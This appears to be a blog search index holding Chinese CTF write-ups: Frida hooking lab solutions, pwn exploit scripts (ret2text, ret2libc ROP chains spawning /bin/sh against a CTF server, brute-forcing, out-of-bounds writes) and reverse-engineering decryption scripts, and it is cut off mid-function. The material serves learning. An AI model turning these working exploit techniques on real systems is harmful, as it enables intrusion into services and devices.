-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.json
1 lines (1 loc) · 101 KB
/
search.json
1
[{"title":"pwn","url":"/2024/07/03/pwn/","content":"\n# pwn\n\n\n\nhello,world!\n"},{"title":"frida_labs","url":"/2024/07/03/frida-labs/","content":"\n[[原创\\]Frida-Hook-Java层操作大全-Android安全-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-280758.htm#msg_header_h3_1)\n\n[[原创\\]Frida-Hook-Native层操作大全-Android安全-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-280812.htm)\n\n## Frida 0x1\n\n### 修改函数返回值&&给函数传自定义参数\n\n程序的主要逻辑是调用一个random的函数,然后对我们的输入进行检测是否是数字,如果是就使用check函数对随机数和我们输入的数进行对比,如果正确则输出flag\n\n![image-20240603150155414](./assets/image-20240603150155414.png)\n\n对于hook来讲,可以直接hookr random使其固定返回一个值,活着hook check函数,手动传入值\n\n> - `Java.perform` 是 Frida 中用于创建一个特殊上下文的函数,让你的脚本能够与 Android 应用程序中的 Java 代码进行交互。它就像是打开了一扇门,让你能够访问并操纵应用程序内部运行的 Java 代码。一旦进入这个上下文,你就可以执行诸如钩取方法或访问 Java 类等操作来控制或观察应用程序的行为。\n> - `var <class_reference> = Java.use(\"<package_name>.<class>\");`\n> 在这里,你声明一个变量 `<class_reference>` 来表示目标 Android 应用程序中的一个 Java 类。你使用 `Java.use` 函数指定要使用的类,该函数接受类名作为参数。`<package_name>` 表示 Android 应用程序的包名,`<class>` 表示你想要与之交互的类。\n> - `<class_reference>.<method_to_hook>.implementation = function(<args>) {}`\n> 在所选的类内部,通过 `<class_reference>.<method_to_hook>` 符号访问你想要钩取的方法。这是你可以定义自己的逻辑以在钩取的方法被调用时执行的地方。`<args>` 表示传递给函数的参数。\n\n``` javascript\nfunction hook(){\n var MainActivity = Java.use(\"com.ad2001.frida0x1.MainActivity\");\n MainActivity.get_random.implementation = function (){\n return 0;\n }\n}\n\nfunction hook2(){\n var Mainactivity = Java.use('com.ad2001.frida0x1.MainActivity');\n Mainactivity.check.overload('int','int').implementation = function (a,b){\n a=0;\n b=4;\n console.log(\"i1 and i2 = \",a,b);\n return this.check(a,b);\n }\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\nsetImmediate(main);\n```\n\n<!-- more --> \n\n## Frida 0x2\n\n### 调用程序未调用的函数\n\n![image-20240603191319536](./assets/image-20240603191319536.png)\n\n使用setImmediate的时候可能会hook不到,猜测是hook的截取时间比main的启动时间早了,所以使用settimeout延迟一会hook就能hook到了\n\n``` js\nfunction hook(){\n var MainActivity = Java.use(\"com.ad2001.frida0x2.MainActivity\");\n MainActivity.get_flag(4919);\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\n// setImmediate(main);\nsetTimeout(main,1000);\n\n# ffrida -UF -l 1.js\n```\n\n\n\n## Frida 0x3\n\n### 更改类中的静态变量\n\n类似于如下写法static int code = 0;\n使用static 修饰的变量则为静态变量。我们可以用如下方法更改静态变量\n\n``` js\nJava.perform(function (){\n\nvar <class_reference> = Java.use(\"<package_name>.<class>\");\n<class_reference>.<variable>.value = <value>;\n\n})\n```\n\n![image-20240603171040737](./assets/image-20240603171040737.png)\n\n![image-20240603171055917](./assets/image-20240603171055917.png)\n\n``` js\nfunction hook(){\n var Checker = Java.use(\"com.ad2001.frida0x3.Checker\");\n Checker.code.value=512;\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\nsetImmediate(main);\n// setTimeout(main,1000);\n```\n\n\n\n## Frida 0x4\n\n### 调用非MainActivity,非静态方法\n\n在JAVA代码中,如果创建了一个非静态的类,当我们需要使用这个类的时候需要new一个类的对象出来我们才能使用这个类的功能。类似代码如下:\n\n``` js\nCheck ch = new Check();\nString flag = ch.get_flag(1337);\n```\n\n那么在Java源码中需要new出来的实例,我们怎么使用Frida来实现呢?\n模板如下:\n\n``` js\nJava.perform(function() {\n \n var <class_reference> = Java.use(\"<package_name>.<class>\");\n var <class_instance> = <class_reference>.$new(); // Class Object\n <class_instance>.<method>(); // 调用方法\n \n})\n```\n\n> 静态类和非静态类的区别,非静态类可以被实例化,就像一个结构体一样,而静态类就像函数一样是直接传入值调用的\n\n例子:\n\n``` java\n//静态类\npublic static class MathUtilities\n{\n public static int Add(int a, int b)\n {\n return a + b;\n }\n \n public static int Subtract(int a, int b)\n {\n return a - b;\n }\n}\n\n// 调用静态方法\nint sum = MathUtilities.Add(3, 5);\nint difference = MathUtilities.Subtract(10, 4);\n\n//非静态类\npublic class Person\n{\n public string Name { get; set; }\n public int Age { get; set; }\n\n public void Introduce()\n {\n Console.WriteLine($\"Hi, my name is {Name} and I am {Age} years old.\");\n }\n}\n\n// 创建对象\nPerson person1 = new Person();\nperson1.Name = \"Alice\";\nperson1.Age = 30;\nperson1.Introduce(); // 输出: Hi, my name is Alice and I am 30 years old.\n\nPerson person2 = new Person();\nperson2.Name = \"Bob\";\nperson2.Age = 25;\nperson2.Introduce(); // 输出: Hi, my name is Bob and I am 25 years old.\n\n\n```\n\n\n\n``` js\nfunction hook(){\n console.log('hook succse');\n var Check = Java.use(\"com.ad2001.frida0x4.Check\");\n var check_obj = Check.$new();\n var string = check_obj.get_flag(1337);\n console.log(string)\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\nsetImmediate(main);\n// setTimeout(main,1000);\n```\n\n\n\n## Frida 0x5\n\n### 调用MainActivity中的非静态方法(与0x4区分)\n\n直接使用Frida创建`MainActivity`或任何Android组件可能会很棘手,因为Android的生命周期和线程规则。Android组件,如`Activity`子类,依赖于应用程序上下文进行正确运行。在Frida中,您可能缺少必要的上下文。Android UI组件通常需要具有关联`Looper`的特定线程。如果涉及UI任务,请确保在具有活动`Looper`的主线程上执行。活动是较大的Android应用程序生命周期的一部分。创建`MainActivity`的实例可能需要应用处于特定状态,并且通过Frida管理整个生命周期可能并不直接。总之,为`MainActivity`创建实例并不是一个好主意。\n\n那么这里的解决方案是什么呢?\n\n当Android应用程序启动时,系统会创建`MainActivity`的一个实例(或AndroidManifest.xml文件中指定的启动器活动)。创建`MainActivity`实例是Android应用程序生命周期的一部分。因此,我们可以使用frida获取`MainActivity`的实例,然后调用`flag()`方法来获取我们的标志。\n\n### 在现有实例上调用方法\n\n在现有实例上调用方法可以很容易地通过Frida完成。为此,我们将使用两个API。\n\n- `Java.performNow`:用于在Java运行时环境中执行代码的函数。\n- `Java.choose`:在运行时枚举指定Java类(作为第一个参数提供)的实例。\n\n模板:\n\n``` js\nJava.performNow(function() {\n Java.choose('<包名>.<类名>', {\n onMatch: function(instance) {\n // 待办事项\n },\n onComplete: function() {}\n });\n});\n```\n\n这里有两个回调函数:\n\n- onMatch\n - `onMatch`回调函数在`Java.choose`操作期间找到指定类的每个实例时执行。\n - 这个回调函数接收当前实例作为它的参数。\n - 您可以在`onMatch`回调中定义自定义操作,以在每个实例上执行。\n - `function(instance) {}`,`instance`参数表示目标类的每个匹配实例。您可以使用任何其他名称。\n- onComplete\n - `onComplete`回调在`Java.choose`操作完成后执行操作或清理任务。此块是可选的,如果您在搜索完成后不需要执行任何特定操作,则可以选择将其留空。\n\n![image-20240603192751063](./assets/image-20240603192751063.png)\n\n``` js\nfunction hook(){\n Java.choose('com.ad2001.frida0x5.MainActivity', {\n onMatch: function (MainActivity) {\n MainActivity.flag(1337);\n console.log('hook succse')\n },\n onComplete: function () {}\n });\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\nsetImmediate(main);\n// setTimeout(main,1000);\n```\n\n![image-20240603193446665](./assets/image-20240603193446665.png)\n\n## Frida 0x6\n\n### MainActivity中非静态并且参数为非静态变量方法调用\n\n- 创建一个`Checker`类的实例。\n- 将`num1`设置为1234,`num2`设置为4321。\n- 获取`MainActivity`的实例。\n- 使用实例作为参数调用`get_flag`方法。\n\nMainActivity没有调用的一个非静态方法,非静态方法中设置一组非静态变量,这就相当于结合了上面学的两种方法,可以先使用frida 0x3的方法更改类的变量,然后再使用frida 0x5的方式调用mainactivity的非静态方法\n\n![image-20240603200154611](./assets/image-20240603200154611.png)\n\n``` js\nfunction hook(){\n Java.choose('com.ad2001.frida0x6.MainActivity',\n {\n onMatch:function (MainActivity){\n console.log('hook succse');\n\n var Checker = Java.use('com.ad2001.frida0x6.Checker')\n var Checker_obj = Checker.$new()\n Checker_obj.num1.value = 1234;\n Checker_obj.num2.value = 4321;\n console.log(Checker_obj.num1.value,Checker_obj.num2.value);\n MainActivity.get_flag(Checker_obj);\n },\n onComplete:function(){}\n })\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\nsetImmediate(main);\n// setTimeout(main,1000);\n```\n\n## Frida 0x7\n\n### Hook构造函数\n\n挂钩构造函数十分简单,与挂钩方法类似。让我为您提供一个模板。\n\n``` js\nJava.perform(function() {\n var <class_reference> = Java.use(\"<package_name>.<class>\");\n <class_reference>.$init.implementation = function(<args>){\n \n /*\n \n */\n \n }\n});\n```\n\n构造函数的方法:\n\n```js\nfunction hook(){\n var Checker = Java.use(\"com.ad2001.frida0x7.Checker\");\n Checker.$init.implementation = function (a,b){\n console.log(\"Origin num\",a,b);\n this.$init(600,600);\n console.log(\"Hook Success\");\n }\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\n// setImmediate(main);\nsetTimeout(main,1000);\n```\n\n改值的方法:\n\n``` js\nfunction hook(){\n Java.choose('com.ad2001.frida0x7.MainActivity',{\n onMatch:function (MainActivity){\n console.log('hook succse')\n\n var Checker = Java.use(\"com.ad2001.frida0x7.Checker\");\n var Checker_obj = Checker.$new(600,600);\n MainActivity.flag(Checker_obj)\n }\n })\n\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\n// setImmediate(main);\nsetTimeout(main,1000);\n```\n\n## Frida 0x8\n\n### Hook Native层中调用的函数并且读取传入的参数\n\n这个题目是针对native层的,对于Native层的函数Hook,我们使用如下模板\n\n``` js\nInterceptor.attach(targetAddress, {\n onEnter: function (args) {\n console.log('Entering ' + functionName);\n // Modify or log arguments if needed\n },\n onLeave: function (retval) {\n console.log('Leaving ' + functionName);\n // Modify or log return value if needed\n }\n});\n```\n\n- `Interceptor.attach`:将回调函数附加到指定的函数地址。`targetAddress` 应该是我们想要挂钩的本地函数的地址。\n- `onEnter`:当挂钩的函数被调用时,调用此回调。它提供对函数参数 (`args`) 的访问。\n- `onLeave`:当挂钩的函数即将退出时,调用此回调。它提供对返回值 (`retval`) 的访问。\n 需要获取targetAddress我们可以方便的使用如下API\n\n同时还可以使用如下的api\n\n1. `Module.enumerateExports()`\n 通过调用 Module.enumerateExports(),我们可以获取到导出函数的名称、地址以及其他相关信息。这些信息对于进行函数挂钩、函数跟踪或者调用其他函数都非常有用。\n2. `Module.getExportByName()`\n 当我们知道要查找的导出项的名称但不知道其地址时,可以使用 Module.getExportByName()。通过提供导出项的名称作为参数,这个函数会返回与该名称对应的导出项的地址。\n3. `Module.findExportByName()`\n 这与 Module.getExportByName() 是一样的。唯一的区别在于,如果未找到导出项,Module.getExportByName() 会引发异常,而 Module.findExportByName() 如果未找到导出项则返回 `null`。让我们看一个示例。\n4. `Module.getBaseAddress()`\n 通过调用 Module.getBaseAddress() 函数,我们可以获取指定模块的基址地址,然后可以基于这个基址地址进行偏移计算,以定位模块内部的特定函数、变量或者数据结构\n5. `Module.enumerateImports()`\n 通过调用 Module.enumerateImports() 函数,我们可以获取到指定模块导入的外部函数或变量的名称、地址以及其他相关信息。\n\n![image-20240604144832222](./assets/image-20240604144832222.png)\n\n![image-20240604144849140](./assets/image-20240604144849140.png)\n\n可以看到strcmp的第一个参数是我们的输入值,第二个参数是flag,所以想办法把这个函数给勾出来就可以了\n\n我不是很清楚为什么我的enumerate没有回显\n\n![image-20240604150254748](./assets/image-20240604150254748.png)\n\n在我们用ida找到函数后可以使用get和find这两个api找到地址\n\n![image-20240604150008695](./assets/image-20240604150008695.png)\n\ngetbase在于我们不知道他的函数名,找到基址后用ida看偏移,加上偏移就好了\n\n![image-20240604150146569](./assets/image-20240604150146569.png)\n\n![image-20240604150221656](./assets/image-20240604150221656.png)\n\n做题顺序是获得了地址后就可以使用模板进行hook了\n\n可以使用Memory.readUtf8String(args[0]);来获取我们的输入字符串,平且使用 if (input.includes(\"111\"))来判断\n\n\n\n``` js\nfunction hook(){\n var strcmp_adr = Module.findExportByName(\"libc.so\", \"strcmp\");\n Interceptor.attach(strcmp_adr, {\n onEnter: function (args) {\n var arg0 = Memory.readUtf8String(args[0]); // first argument\n var flag = Memory.readUtf8String(args[1]); // second argument\n if (arg0.includes(\"Hello\")) {\n\n console.log(\"Hookin the strcmp function\");\n console.log(\"Input \" + arg0);\n console.log(\"The flag is \"+ flag);\n\n }\n },\n onLeave: function (retval) {\n // Modify or log return value if needed\n }\n });\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\n// setImmediate(main);\nsetTimeout(main,1000);\n```\n\n\n\n## Frida 0x9\n\n### Hook修改native层程序返回值\n\nhook的模板\n\n``` js\nInterceptor.attach(functionaddr, {\n onEnter: function (args) {\n \n },\n onLeave: function (retval) {\n \n }\n});\n```\n\n可以看到在onLeave中有一个参数retval,这个retval,就是我们hook上的程序的返回值,我们可以使用retval.replace(val)来修改返回值。\n\n![image-20240604152917826](./assets/image-20240604152917826.png)\n\n![image-20240604152943922](./assets/image-20240604152943922.png)\n\n``` js\nfunction hook(){\n var adr = Module.findExportByName(\"liba0x9.so\", \"Java_com_ad2001_a0x9_MainActivity_check_1flag\");\n Interceptor.attach(adr, {\n onEnter: function (args) {\n },\n onLeave: function (retval) {\n console.log(\"Origin retval : \",retval);\n retval.replace(1337);\n }\n });\n}\nfunction main(){\n Java.perform(function (){\n hook();\n })\n}\n\n// setImmediate(main);\nsetTimeout(main,1000);\n```\n\n## Frida 0xA\n\n### 调用native层中未被调用的方法\n\n模板:\n\n``` js\nvar native_adr = new NativePointer(<address_of_the_native_function>);\nconst native_function = new NativeFunction(native_adr, '<return type>', ['argument_data_type']);\nnative_function(<arguments>);\n```\n\n> 让我逐行解释。\n>\n> var` `native_adr = ``new` `NativePointer(<address_of_the_native_function>);\n>\n> 要在 Frida 中调用一个本地函数,我们需要一个 `NativePointer` 对象。我们应该将要调用的本地函数的地址传递给 `NativePointer` 构造函数。接下来,我们将创建 `NativeFunction` 对象,它表示我们想要调用的实际本地函数。它在本地函数周围创建一个 JavaScript 包装器,允许我们从 Frida 调用该本地函数。\n>\n> const native_function = ``new` `NativeFunction(native_adr, ``'<return type>'``, [``'argument_data_type'``]);\n>\n> 第一个参数应该是 `NativePointer` 对象,第二个参数是本地函数的返回类型,第三个参数是要传递给本地函数的参数的数据类型列表。现在我们可以像在 Java 空间中那样调用该方法了。\n>\n> native_function(<arguments>);\n\napk中没有什么有用的信息,看so文件他的主函数也没有有用的信息,但我们找到一个输出flag的函数,可以尝试调用它\n\n![image-20240604163528916](./assets/image-20240604163528916.png)\n\n![image-20240604163651152](./assets/image-20240604163651152.png)\n\n![image-20240604163702086](./assets/image-20240604163702086.png)\n\n\n\n## Frida 0xB\n\n### 更改Native层方法的汇编指令\n\nx86指令集的frida使用模板:\n\n``` js\nvar writer = new X86Writer(opcodeaddr);\nMemory.protect(opcodeaddr, 0x1000, \"rwx\");\ntry {\n \n writer.flush();\n \n} finally {\n \n writer.dispose();\n}\n```\n\n\n\n"},{"title":"奇怪的wp","url":"/2023/10/08/奇怪的wp/","content":"\n\n\n#### PWN1\n\n``` python\nfrom pwn import *\n# p = process('./ezshellcode')\np = remote('pwn.node.game.sycsec.com',30213)\ncontext(arch='amd64', os='linux')\ncontext.log_level = 'DEBUG'\n\n\n\np.recvuntil(b'my heart')\np.sendline(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaSyclover')\n\np.recvuntil(b'challege!')\np.recvline()\np.recvline()\na=p.recvline().decode('utf-8')\na = a[0:-3]\nprint(6666666666)\nprint(a)\nr = eval(a)\np.sendline(str(r))\np.interactive()\n```\n\n## ret2text\n\nPIE手动爆破,填充数据不是0x50\n\n``` python\nfrom pwn import *\n\ncontext.log_level = 'debug'\n\n# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']\n# r = gdb.debug('./ret2text')\n# r = process('./ret2text')\n\nr = remote('pwn.node.game.sycsec.com',31949)\n\ndef debug():\n gdb.attach(r)\n pause()\nelf = ELF('ret2text')\nse = lambda data :r.send(data)\nsa = lambda delim,data :r.sendafter(delim, data)\nsl = lambda data :r.sendline(data)\nsla = lambda delim,data :r.sendlineafter(delim, data)\nsea = lambda delim,data :r.sendafter(delim, data)\nrc = lambda numb=4096 :r.recv(numb)\nrl = lambda :r.recvline()\nru = lambda delims :r.recvuntil(delims)\nuu32 = lambda data :u32(data.ljust(4, b'\\0'))\nuu64 = lambda data :u64(data.ljust(8, b'\\0'))\nlic \t= lambda data :uu64(ru(data)[-6:])\npadding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)\nit = lambda :r.interactive()\n\npad = p64(0)*9 + p64(1)\nbackdoor = b'\\x27\\xA2'\n\npl1 = pad + p64(0) + backdoor\nse(pl1)\n\nr.interactive()\n```\n\n<!-- more --> \n\n\n\n\n\n\n\n## ret2libc\n\nlibcsearcher\n\n``` python\n#coding:utf-8\nfrom pwn import *\nfrom LibcSearcher import*\n# sh = process('./chal')\nsh = remote('pwn.node.game.sycsec.com',31971)\nelf = ELF('./chal')\n# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# libc = ELF('../../tools/libc-database/db/libc6_2.23-0ubuntu10_amd64.so')\n# libc = ELF('libc.so.6')\ncontext(arch='amd64', os='linux')\ncontext.log_level = 'DEBUG'\n# context.terminal = ['tmux','splitw','-h']\ngadgets1 = 0x000000000040132A\ngadgets2 = 0x0000000000401310\nwrite_got = elf.got['write']\nmain_addr = elf.symbols['main']\noffset = b'\\0'*(0x10+8)\ndef csu(r12,r13,r14,r15,ret_addr):\n payload = offset\n payload += p64(gadgets1)\n # payload += b\"\\0\"*8\n payload += p64(0)\n payload += p64(1)\n payload += p64(r12)\n payload += p64(r15)\n payload += p64(r14)\n payload += p64(r13)\n payload += p64(gadgets2) \n payload += b\"\\0\"*56\n payload += p64(ret_addr)\n sh.sendline(payload)\n# sh.recvuntil(\"this\\n\")\ncsu(1,write_got,8,write_got,main_addr)\nwrite_addr = u64(sh.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\0'))\nprint(hex(write_addr))\n# offset_addr = write_addr - libc.symbols['write']\n# success(\"offset_addr = 0x%x\",offset_addr)\nlibc = LibcSearcher('write',write_addr)\nbase = write_addr - libc.dump('write')\nsystem = base + libc.dump('system')\nbinsh = base + libc.dump('str_bin_sh')\n# print(\"123\"+libc.dump('str_bin_sh'))\n# system_addr = offset_addr + libc.symbols['system']\n# print(\"execve:\",hex(system_addr))\n# binsh_address = next(libc.search(b'/bin/sh\\x00'))\n# print(\"binsh:\",hex(binsh_address))\n#gdb.attach(sh)\nsh.recvuntil(\"this\\n\")\npayload = offset\npayload+= p64(0x000000000040101a)#ret_addr\npayload+= p64(0x0000000000401333)# pop_rdi_ret\npayload+= p64(binsh)\npayload+= p64(system)\nsh.sendline(payload)\nsh.interactive()\n```\n\n提供的libc做\n\n``` python\n#coding:utf-8\nfrom pwn import *\n# from LibcSearcher import*\n# sh = process('./chal')\nsh = remote('pwn.node.game.sycsec.com',31971)\nelf = ELF('./chal')\n# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# libc = ELF('../../tools/libc-database/db/libc6_2.23-0ubuntu10_amd64.so')\nlibc = ELF('libc.so.6')\ncontext(arch='amd64', os='linux')\ncontext.log_level = 'DEBUG'\n# context.terminal = ['tmux','splitw','-h']\ngadgets1 = 0x000000000040132A\ngadgets2 = 0x0000000000401310\nwrite_got = elf.got['write']\nmain_addr = elf.symbols['main']\noffset = b'\\0'*(0x10+8)\ndef csu(r12,r13,r14,r15,ret_addr):\n payload = offset\n payload += p64(gadgets1)\n # payload += b\"\\0\"*8\n payload += p64(0)\n payload += p64(1)\n payload += p64(r12)\n payload += p64(r15)\n payload += p64(r14)\n payload += p64(r13)\n payload += p64(gadgets2) \n payload += b\"\\0\"*56\n payload += p64(ret_addr)\n sh.sendline(payload)\n# sh.recvuntil(\"this\\n\")\ncsu(1,write_got,8,write_got,main_addr)\nwrite_addr = u64(sh.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\0'))\nprint(hex(write_addr))\noffset_addr = write_addr - libc.symbols['write']\nsuccess(\"offset_addr = 0x%x\",offset_addr)\n# libc = LibcSearcher('write',write_addr)\n# base = write_addr - libc.dump('write')\n# system = base + libc.dump('system')\n# binsh = base + libc.dump('str_bin_sh')\n# print(\"123\"+libc.dump('str_bin_sh'))\nsystem_addr = offset_addr + libc.symbols['system']\nprint(\"execve:\",hex(system_addr))\nbinsh_address = next(libc.search(b'/bin/sh\\x00'))\nprint(\"binsh:\",hex(binsh_address))\n#gdb.attach(sh)\nsh.recvuntil(\"this\\n\")\npayload = offset\npayload+= p64(0x000000000040101a)#ret_addr\npayload+= p64(0x0000000000401333)# pop_rdi_ret\npayload+= p64(offset_addr+binsh_address)\npayload+= p64(system_addr)\nsh.sendline(payload)\nsh.interactive()\n```\n\n## password\n\n``` python\nfrom pwn import *\n\ncontext.log_level = 'debug'\n\n# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']\n# p = gdb.debug('./password')\n# p = process('./password')\n\np = remote('pwn.node.game.sycsec.com',31300)\n\n# res = b'wrong'\nret = 0x000000000040101a\nfor i in range(1000):\n p = remote('pwn.node.game.sycsec.com',31300)\n # p = process('./password')\n pad = b'\\0'*0x28\n backdoor = p64(0x4012F3)\n pl1 = pad + backdoor\n p.send(pl1)\n p.recvuntil(b'password:\\n')\n p.sendline(b'\\x00')\n res = p.recvline()\n if b'Correct' in res:\n print('ok')\n break\np.interactive()\n# res = b'wrong'\n# while b'wrong' in res:\n# p = process('./password')\n# pad = b'a'*0x20\n# backdoor = p64(0x4012F3)\n# pl1 = pad + backdoor\n# p.sendline(pl1)\n# p.recvuntil('password:')\n# p.sendline(b'')\n# res = p.recvall()\n\n```\n\n\n\n## write1\n\n[[BUUCTF\\]PWN——wustctf2020_name_your_cat(数组越界)_pwn ctf 越界写-CSDN博客](https://blog.csdn.net/mcmuyanga/article/details/114673240)\n\n这个题目和我们做的才差不多,都是通过数据越界然后修改地址,但要注意数组是一个字节一个字节的,这个题目是8个字节8个字节的,所以可以直接使用p64(地址)\n\n``` c\n *(v2 + v1) += tmp;\n```\n\n这个关键的语句,不是=,所以不是覆盖,我们要输入数值,然后让这个地址加减数值,让他等于我们的返回地址\n\n我们gdb动调一下,可以看到我们输入下表位41,然后值为-1的时候,他的返回地址从40134D变成了40124D,这就是我们这个的目的,我们要把他变成我们的返回地址\n\n![image-20231029221238038](C:\\Users\\a\\AppData\\Roaming\\Typora\\typora-user-images\\image-20231029221238038.png)\n\n``` python\nfrom pwn import *\n\ncontext.log_level = 'debug'\ncontext(arch='amd64', os='linux')\n# p=process('chal')\np=remote('pwn.node.game.sycsec.com',31277)\n# p=gdb.debug('./chal')\n# p=remote(\"node3.buuoj.cn\",28477)\n#p=process('./wustctf2020_name_your_cat')\n# elf=ELF('./wustctf2020_name_your_cat')\n\nshell_addr=0x401221\n\np.sendline(b'aaaaaaaaaaa')\n\np.sendlineafter('index:\\n',b'41')\np.sendlineafter(\"value:\",b'-1')\n\np.sendlineafter('index:\\n',b'40')\np.sendlineafter(\"value:\",b'-2b')\n\np.sendlineafter('index:\\n',b'-1')\n\n\np.interactive()\n\n```\n\n# re\n\n``` python\na=\"Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM\"\na=list(a)\nfor i in range(len(a)):\n print(chr(ord(a[i])-7),end='')\n```\n\n\n\n## 砍树\n\n``` python\nenc =[\n 0x00, 0x20, 0x20, 0x17, 0x1B, 0x36, 0x0E, 0x36, 0x26, 0x17, \n 0x04, 0x2A, 0x29, 0x07, 0x26, 0x15, 0x52, 0x33, 0x2D, 0x0F, \n 0x3A, 0x27, 0x11, 0x06, 0x33, 0x07, 0x46, 0x17, 0x3D, 0x0A, \n 0x3C, 0x38, 0x2E, 0x22, 0x18\n]\n\nkey = \"Sycloverforerver\"\n\nfor i in range(len(enc)):\n enc[i]=enc[i]^ord(key[i%len(key)])\n print(chr(int(enc[i])),end='')\n\n# print(0x1B^ord('{'))\n```\n\n## 听说cpp很难?\n\n``` python\na=[77, 95, 61, 55, 104, 115, 87, 39, 104, 81, 89, 127, 38, 107, 89, 115, 87, 85, 91, 89, 111, 106, 89, 39, 87, 114, 87, 79, 87, 120, 120]\n\nfor i in range(len(a)):\n a[i]=((a[i]+10)^10)-10\n print(chr(a[i]),end='')\n\n# print((71^ 10)-10)\n```\n\n## rainbow\n\n``` python\nida_chars =[\n 0x65, 0x58, 0x41, 0x8E, 0x50, 0x44, 0x7B, 0x62, 0x57, 0x4A, \n 0x7E, 0x54, 0x49, 0x6C, 0x7D, 0x84, 0x4F, 0x5B, 0x95, 0x60, \n 0x60, 0x64, 0x77, 0x48, 0x7D, 0x4D, 0x7B, 0x9F, 0x68, 0x3C, \n 0x2D, 0x62\n]\n\nfor i in range(len(ida_chars)):\n ida_chars[i]^=i\n # print(chr(ida_chars[i]),end='')\n# q=1\nfor i in range(len(ida_chars)):\n if(i%3==0):\n ida_chars[i]-=18\n print(chr(ida_chars[i]),end='')\n```\n\n\n\n## 小黄鸭\n\n直接爆破,有个坑点原题目中\n\nif chr(ord(a[1])) != 's' or ord(a[2]) != 109 or chr(ord(a[17])) != 'C':\n\n意思其实就是告诉我们倒数第三个数是m,服了\n\n``` c\n#include<stdio.h>\n#include<string.h>\n\nint main()\n{\n\tchar a[] = { 'H', 'N', 'R', '|', '2', '`', 'w', '1', 'e', 't', '`', 'n', 'D', 'j', '`', 'R', 'w', 'P', 'h', 't', '`', 'N', 'd', 'J', 'g', '`', 's', 'g', '4', 'p', '|', 'h', '~' };\n\tint i, j, k;\n\tfor(i=0;i< 33;i++)\n\t\tfor (k = 32; k < 127; k++)\n\t\t{\n\t\t\tj = k;\n\t\t\tif (j >= 'a' && j <= 'z')\n\t\t\t{\n\t\t\t\tj += 13;\n\t\t\t\tif (j <= 'a' || j >= 'z')\n\t\t\t\t\tj -= 26;\n\t\t\t\tj += 2;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (j >= 'A' && j <= 'Z')\n\t\t\t\t{\n\t\t\t\t\tj += 13;\n\t\t\t\t\tif (j <= 'A' || j >= 'Z')\n\t\t\t\t\t\tj -= 26;\n\t\t\t\t\tj += 2;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tj += 1;\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tif (j == a[i])\n\t\t\t{\n\t\t\t\tprintf(\"%c\", k);\n\t\t\t}\n\t\t}\n\treturn 0;\n}\n```\n\n## flower-or-tea\n\n[TEA系列加密解密 | Gruge's Blog (g2uge.github.io)](https://g2uge.github.io/2022/02/28/TEA系列加密解密/)\n\n第一次真正的接触tea加密,了解了tea,xtea和xxtea加密的特征\n\n这个题的坑点一是,他的数据接收是从前从后往中间聚集,其实这个无所谓,直接解出flag后面自己改就好了\n\n坑点二,这是一个xtea,他修改了常量和循环次数,其实这俩也是套脚本稍微一改就可以了\n\n坑点三,原加密函数,中(*(key + 4 * ((sum >> 11) & 3)),中的4其实是混淆用的,因为他是取的地址,所以我们可以使用这个代替\n\n``` python\nint __cdecl tea(unsigned int a1, unsigned int *enc, int key)\n{\n int result; // eax\n unsigned int i; // [esp+8h] [ebp-10h]\n unsigned int v1; // [esp+Ch] [ebp-Ch]\n unsigned int v0; // [esp+10h] [ebp-8h]\n unsigned int sum; // [esp+14h] [ebp-4h]\n\n v0 = *enc;\n v1 = enc[1];\n sum = 0;\n for ( i = 0; i < a1; ++i )\n {\n v1 += sum ^ (*(key + 4 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));\n v0 += (*(key + 4 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));\n sum += 0x31415927;\n }\n *enc = v0;\n result = 4;\n enc[1] = v1;\n return result;\n}\n```\n\n\n\n```python\n v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[ ((sum >> 11) & 3)])^sum);\n v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);\n```\n\n\n\n\n\n坑点四,解密代码记得按照逻辑把代码都取反\n\n解密脚本:\n\n\n\n``` c\n#include <stdio.h>\n#include <stdint.h>\n\n/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */\n\nvoid encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {\n unsigned int i;\n uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x31415927;\n for (i = 0; i < num_rounds; i++) {\n v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[ ((sum >> 11) & 3)])^sum);\n v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);\n sum += delta;\n }\n v[0] = v0; v[1] = v1;\n printf(\"加密后的数据:%u %u\\n\", v[0], v[1]);\n}\n\nvoid decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {\n unsigned int i;\n uint32_t v0 = v[0], v1 = v[1], delta = 0x31415927, sum = delta * 